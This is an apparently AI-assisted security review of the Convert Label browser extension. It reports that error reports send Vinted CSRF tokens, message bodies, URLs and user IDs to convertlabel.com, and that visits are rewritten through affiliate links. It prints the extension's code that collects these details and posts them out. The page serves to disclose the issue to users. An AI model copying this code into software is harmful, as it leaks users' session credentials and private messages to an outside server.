Is Convert Label safe?
Convert Label forwards failed Vinted API request headers and bodies to convertlabel.com for error reporting.
When Vinted API calls fail, Convert Label packages the request headers, request body, response text, current page URL, and Vinted user/context IDs and posts them to convertlabel.com. It also redirects visits on supported commerce sites through affiliate URLs such as AWIN or adds merchant affiliate tags automatically when those pages load.
Who publishes itvinke - no other listings under this identity, 2 shared hostnames
vinke - no other listings under this identity, 2 shared hostnames
What this publisher told the store about itself, and the other listings that told it the same thing.
Shared hosts - 2 hostnames
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Vinted error reports forward CSRF-bearing request details
When a Vinted API call from Convert Label errors, the extension sends a report to convertlabel.com with its own headers (including the x-csrf-token used), the request body, API URL, current page URL, response text, and Vinted identifiers.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Dynamic sandbox
You use Convert Label in a Vinted inbox workflow that sends a Vinted API request.
For example, the code wraps conversation and reply API calls made from the inbox agent.
If Vinted returns an error, the extension forwards the request details to Convert Label's error endpoint.
The forwarded metadata includes the request headers, request body, Vinted API URL, current page URL, response text, and Vinted identifiers.
- Content-Type
- application/json
- Vinted CSRF tokenmetadata.headers['x-csrf-token'] = 61f6e86b7e9a4a1fa7d2365bcf6d9a47 (illustrative)
This is a request credential that Vinted uses to validate actions in your active session.
- Request bodymetadata.body = {"reply":{"body":"Hello, is this item still available?","photo_temp_uuids":null,"is_personal_data_sharing_check_skipped":false}} (illustrative)
This can include the Vinted message or workflow data that the extension was trying to send.
- Vinted API URLmetadata.fullUrl = https://www.vinted.fr/api/v2/conversations/123456/replies (illustrative)
This identifies which Vinted conversation, item, inbox, notification, or transaction request failed.
- Current Vinted pagemetadata.currentPageUrl = https://www.vinted.fr/inbox/123456 (illustrative)
This ties the error report to the Vinted page you had open at the time.
- Vinted user IDmetadata.userIdVinted = 987654321 (illustrative)
This can link the report to your Vinted account inside the extension workflow.
The shipped code copies Vinted request details into the error report
Error-report payload and message handoff
content-scripts/agent/backend.jsasync function reportError(errorData) { try { console.log('📤 Envoi d\'erreur au background script:', errorData.errorType); const payload = { userId: getUserId(), errorType: errorData.errorType, message: errorData.message, stack: errorData.stack, userAgent: navigator.userAgent, url: window.location.href, metadata: { apiEndpoint: errorData.apiEndpoint, responseStatus: errorData.responseStatus, requestMethod: errorData.requestMethod, extensionVersion: chrome.runtime.getManifest().version, vintedSession: { isLoggedIn: !!getUserId(), userId: getUserId() }, source: 'backend.js', ...errorData.metadata } }; // Envoyer au background script via chrome.runtime.sendMessage await new Promise((resolve, reject) => { chrome.runtime.sendMessage({ action: 'reportError', data: payload }, (response) => { if (chrome.runtime.lastError) { console.error('❌ Erreur communication background:', chrome.runtime.lastError.message); reject(new Error(chrome.runtime.lastError.message)); } else if (response && response.success) { console.log('✅ Erreur reportée avec succès:', response.errorId); resolve(response); } else { console.warn('⚠️ Échec du reporting d\'erreur:', response?.error); reject(new Error(response?.error || 'Erreur inconnue')); } }); }); } catch (error) { console.error('❌ Erreur lors du reporting:', error); }}Fetch wrapper that collects headers, body, URLs, response text, and identifiers
content-scripts/agent/backend.jsasync function fetchWithErrorReporting(url, options = {}, errorContext = {}) { try { const response = await fetch(url, options); // Reporter les erreurs HTTP if (!response.ok) { // Capturer le contenu de la réponse AVANT de la traiter let responseText = ''; let responseJson = null; try { responseText = await response.clone().text(); // Essayer de parser le JSON pour l'analyser responseJson = JSON.parse(responseText); } catch (e) { responseText = 'Impossible de lire la réponse'; responseJson = null; } console.log('Erreur HTTP:', response.status, responseJson); // Enrichir les métadonnées pour faciliter l'extraction du subjectId const enrichedMetadata = { context: errorContext.context || 'API call', headers: options.headers, body: options.body, responseText: responseText, // Texte brut de la réponse responseJson: responseJson, // JSON parsé (optionnel) fullUrl: url, timestamp: new Date().toISOString(), // NOUVEAU : Informations pour l'extraction du subjectId isConversationFetch: url.includes('/conversations/'), conversationId: url.includes('/conversations/') ? url.split('/conversations/')[1] : null, isItemFetch: url.includes('/items/'), itemId: url.includes('/items/') ? url.match(/\/items\/(\d+)/)?.[1] : errorContext.itemId || null, subjectId: errorContext.subjectId || errorContext.itemId || null, // Priorité au subjectId explicite currentPageUrl: window.location.href, referer: options.headers?.['Referer'] || options.headers?.['referer'], // Informations sur l'utilisateur Vinted actuel userIdVinted: getUserId(), // Informations sur l'agent agentContext: { isFavoriteProcessing: errorContext.context === 'create_favorite_conversation' || errorContext.context === 'fetch_conversation', isRelanceProcessing: errorContext.context === 'fetch_conversation' && errorContext.isRelance, processingType: errorContext.processingType || 'unknown' } }; await reportError({ errorType: 'vinted_api_fetch', message: `Erreur HTTP ${response.status}: ${response.statusText}`, stack: new Error().stack, apiEndpoint: url, responseStatus: response.status, requestMethod: options.method || 'GET', metadata: enrichedMetadata }); } return response; } catch (error) { // Reporter les erreurs de réseau await reportError({ errorType: 'network_error', message: `Erreur réseau: ${error.message}`, stack: error.stack, apiEndpoint: url, requestMethod: options.method || 'GET', metadata: { context: errorContext.context || 'API call', errorCode: error.name, retryAttempt: errorContext.retryAttempt || 0 } }); throw error; }}Header builder that adds the Vinted CSRF token
content-scripts/agent/backend.jsfunction createHeaders(referer = null) { // Utiliser l'URL de base dynamique si aucun referer n'est fourni if (!referer) { referer = `${VINTED_BASE_URL}/inbox`; } try { const csrfToken = getCsrfToken(); // Cette fonction peut maintenant lancer une erreur fatale const headers = { 'accept': 'application/json, text/plain, */*', 'accept-language': 'fr-FR,fr;q=0.9,en;q=0.8', 'content-type': 'application/json', 'Referer': referer, 'Referrer-Policy': 'strict-origin-when-cross-origin', 'cache-control': 'no-cache', 'pragma': 'no-cache' }; // Le CSRF token est obligatoire, getCsrfToken() lève une erreur si non trouvé headers['x-csrf-token'] = csrfToken; return headers; } catch (error) { // Si getCsrfToken() a levé une erreur fatale, la relancer if (error.message.includes('ERREUR CRITIQUE')) { throw error; } // Sinon, créer une nouvelle erreur fatale const errorMessage = 'ERREUR CRITIQUE: Impossible de créer les headers HTTP. L\'agent Vinted ne peut pas fonctionner.'; console.error(errorMessage); alert(errorMessage + '\n\nErreur technique: ' + error.message); throw new Error(errorMessage); }}Background script POST to Convert Label
background.jsasync function reportErrorToAPI(errorData) { try { console.log('[BACKGROUND] Reporting d\'erreur:', errorData.errorType); const response = await fetch(`${CONFIG.BACKEND_URL}${CONFIG.ENDPOINTS.ERROR_REPORTING}`, { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify(errorData) }); if (response.ok) { const result = await response.json(); console.log('[BACKGROUND] Erreur reportée avec succès:', result.errorId); return { success: true, errorId: result.errorId }; } else { console.warn('[BACKGROUND] Échec du reporting d\'erreur:', response.status); return { success: false, error: `HTTP ${response.status}` }; } } catch (error) { console.error('[BACKGROUND] Erreur lors du reporting:', error); return { success: false, error: error.message }; }}- convertlabel.com
Receives the extension error report at /api/extension-error, including the metadata copied from the failed Vinted API request.
What it can do
Permissions this extension asks for, as declared in version 1.7.3. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to. The current listed version is 1.8.0, which we have not unpacked yet.
Read files on your computer that you open in the browser
file:///*
Read and change your data on every site you visit
http://*/*
Read and change your data on every secure site you visit
https://*/*
Read and change your data on convertlabel.com
https://convertlabel.com/*
Read and change your data on amazon.com
*://*.amazon.com/*
Read and change your data on amazon.com.be
*://*.amazon.com.be/*
Read and change your data on amazon.co.uk
*://*.amazon.co.uk/*
Read and change your data on amazon.de
*://*.amazon.de/*
Read and change your data on amazon.fr
*://*.amazon.fr/*
Read and change your data on amazon.it
*://*.amazon.it/*
Read and change your data on amazon.es
*://*.amazon.es/*
Read and change your data on amazon.nl
*://*.amazon.nl/*
Read and change your data on amazon.be
*://*.amazon.be/*
Read and change your data on amazon.pl
*://*.amazon.pl/*
Read and change your data on amazon.se
*://*.amazon.se/*
Read and change your data on amazon.dk
*://*.amazon.dk/*
Read and change your data on amazon.fi
*://*.amazon.fi/*
Read and change your data on amazon.no
*://*.amazon.no/*
Read and change your data on amazon.at
*://*.amazon.at/*
Read and change your data on amazon.ch
*://*.amazon.ch/*
Read and change your data on amazon.pt
*://*.amazon.pt/*
Read and change your data on amazon.cz
*://*.amazon.cz/*
Read and change your data on amazon.ie
*://*.amazon.ie/*
Read and change your data on www.vinted.com
*://www.vinted.com/*
Read and change your data on www.vinted.fr
*://www.vinted.fr/*
Read and change your data on www.vinted.be
*://www.vinted.be/*
Read and change your data on www.vinted.de
*://www.vinted.de/*
Read and change your data on www.vinted.es
*://www.vinted.es/*
Read and change your data on www.vinted.it
*://www.vinted.it/*
Read and change your data on www.vinted.nl
*://www.vinted.nl/*
Read and change your data on www.vinted.co.uk
*://www.vinted.co.uk/*
Read and change your data on www.vinted.pl
*://www.vinted.pl/*
Read and change your data on www.vinted.cz
*://www.vinted.cz/*
Read and change your data on www.vinted.at
*://www.vinted.at/*
Read and change your data on www.vinted.ch
*://www.vinted.ch/*
Read and change your data on www.vinted.pt
*://www.vinted.pt/*
Read and change your data on www.vinted.se
*://www.vinted.se/*
Read and change your data on www.vinted.dk
*://www.vinted.dk/*
Read and change your data on www.vinted.fi
*://www.vinted.fi/*
Read and change your data on www.vinted.no
*://www.vinted.no/*
Store data in your browser
storage
Run its own code inside the pages you visit
scripting
Act on the current tab, but only after you click the extension
activeTab
See the address and title of every tab you have open
tabs
Start, monitor and manage your downloads
downloads
Where it sends data
Destinations our analysis observed Convert Label contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- www.awin1.com
Convert Label sends data to www.awin1.com. 4 other extensions we have analysed send data here.
- convertlabel.com
Convert Label sends data to convertlabel.com. No other extension we have analysed sends data here.